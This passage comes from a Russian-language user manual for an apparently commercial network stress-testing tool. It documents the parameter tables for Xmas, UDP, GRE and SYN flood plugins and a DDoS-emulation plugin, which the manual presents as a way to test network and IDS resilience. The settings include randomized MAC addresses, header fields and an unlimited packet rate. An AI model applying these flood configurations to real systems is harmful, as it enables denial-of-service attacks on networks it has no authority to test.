Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 84;
Табл. 84 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 85;
Табл. 85 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 86;
Табл. 86 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 87;
Табл. 87 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 88;
Табл. 88 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 89.
Табл. 89 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберете величину (в секундах, минутах или часах) |
Xmas Flood (All flags)
Xmas Flood (All flags) – плагин для генерации трафика, который отправляет большое количество пакетов c установленными всеми флагами TCP (URG, ACK, PSH, RST, SYN, FIN). Этот шаблон используется для проверки устойчивости сетевых устройств и систем обнаружения вторжений к необычным и потенциально вредоносным пакетам.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 90;
Табл. 90 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 91;
Табл. 91 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 92;
Табл. 92 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 93;
Табл. 93 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 94;
Табл. 94 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 95.
Табл. 95 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберете величину (в секундах, минутах или часах) |
UDP Flood
UDP Flood – плагин для генерации трафика, который отправляет большой объем UDP-пакетов на целевой сервер, что может привести к исчерпанию пропускной способности и перегрузке ресурсов сервера. Этот шаблон позволяет протестировать устойчивость сети к атакам, использующим UDP-трафик.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 96;
Табл. 96 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 97;
Табл. 97 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 98;
Табл. 98 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- Параметры плагина – параметры настроек плагина UDP, описание которых указаны в Табл. 99.
Табл. 99 – Параметры «Плагина»
| Название | Описание | Значение |
|---|---|---|
| Невалидная чек-сумма | Чек-сумма используется в UDP-пакетах для проверки целостности данных. Установка невалидной чек-суммы означает, что отправляемые пакеты будут содержать неправильное значение чек-суммы, что может привести к тому, что получатель отвергнет эти пакеты или обработает их неправильно. | Включение или выключение тумблера |
| Отправлять пейлоад | Пейлоад — это данные, которые передаются в UDP-пакете. В данном случае параметр указывает на необходимость отправки пейлоада вместе с UDP-пакетом | Включение или выключение тумблера |
| Если тумблер «Отправлять пейлоад» включен | ||
| Случайные данные | Этот параметр подразумевает, что содержимое пейлоада будет генерироваться случайным образом. Это может включать случайные байты или строки, что делает трафик менее предсказуемым. | Включение или выключение тумблера |
| Если тумблер «Случайные данные» выключен | ||
| Base64 строка | Указывает, будет ли содержимое пейлоада интерпретироваться или кодироваться как Base64 строка | Включение или выключение тумблера |
| Размер пейлоада | Этот параметр определяет размер данных в пейлоаде UDP-пакета. Значение может варьироваться от 0 до 1300 байт. | Задать числовые значения (по умолчанию, значение указано: «0-1300») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 100;
Табл. 100 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 101.
Табл. 101 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберете величину (в секундах, минутах или часах) |
GRE Flood
GRE Flood – плагин для генерации трафика, который генерирует и отправляет большое количество пакетов с заголовком GRE (Generic Routing Encapsulation) с целью перегрузить пропускную способность сети.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 102;
Табл. 102 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 103;
Табл. 103 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 104;
Табл. 104 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 105;
Табл. 105 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 106.
Табл. 106 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберете величину (в секундах, минутах или часах) |
MHDDoS Emulation
MHDDoS Emulation – плагин для эмуляции различных типов DDoS-атак с целью тестирования устойчивости и защиты сетевой инфраструктуры.
Данный плагин состоит из подплагинов ниже, которые можно включать при необходимости с пред настроенными параметрами.
SYN Flood
SYN Flood – подплагин для генерации трафика, в котором отправляется большое количество запросов на установление TCP-соединения (SYN-пакеты) без завершения процесса.
Данный плагин состоит из следующих параметров:
-
Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 107;
Табл. 107 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 108;
Табл. 108 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 109;
Табл. 109 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 110;
Табл. 110 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 111;
Табл. 111 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить По умолчанию, тумблер включен. |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение По умолчанию выставлено значение: 10. |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
UDP Flood
UDP Flood – подплагин для генерации трафика, который отправляет большой объем UDP-пакетов на целевой сервер, что может привести к исчерпанию пропускной способности и перегрузке ресурсов сервера.
Данный плагин состоит из следующих параметров:
-
Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 112;
Табл. 112 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 113;
Табл. 113 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 114;
Табл. 114 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- Параметры плагина – параметры настроек плагина UDP, описание которых указаны в Табл. 115.
Табл. 115 – Параметры «Плагина»
| Название | Описание | Значение |
|---|---|---|
| Невалидная чек-сумма | Чек-сумма используется в UDP-пакетах для проверки целостности данных. Установка невалидной чек-суммы означает, что отправляемые пакеты будут содержать неправильное значение чек-суммы, что может привести к тому, что получатель отвергнет эти пакеты или обработает их неправильно. | Включение или выключение тумблера |
| Отправлять пейлоад | Пейлоад — это данные, которые передаются в UDP-пакете. В данном случае параметр указывает на необходимость отправки пейлоада вместе с UDP-пакетом | По умолчанию, тумблер включен |
| Случайные данные | Этот параметр подразумевает, что содержимое пейлоада будет генерироваться случайным образом. Это может включать случайные байты или строки, что делает трафик менее предсказуемым. | По умолчанию, тумблер включен. |
| Размер пейлоада | Этот параметр определяет размер данных в пейлоаде UDP-пакета. Значение может варьироваться от 0 до 1300 байт. | По умолчанию, значение указано: «1024») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 116;
Табл. 116 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить По умолчанию, тумблер включен. |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение По умолчанию выставлено значение: 10. |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
GRE Flood
GRE Flood – плагин для генерации трафика, который генерирует и отправляет большое количество пакетов с заголовком GRE (Generic Routing Encapsulation) с целью перегрузить пропускную способность сети.
Данный плагин состоит из следующих параметров:
-
Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 117;
Табл. 117 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 118;
Табл. 118 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 119;
Табл. 119 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
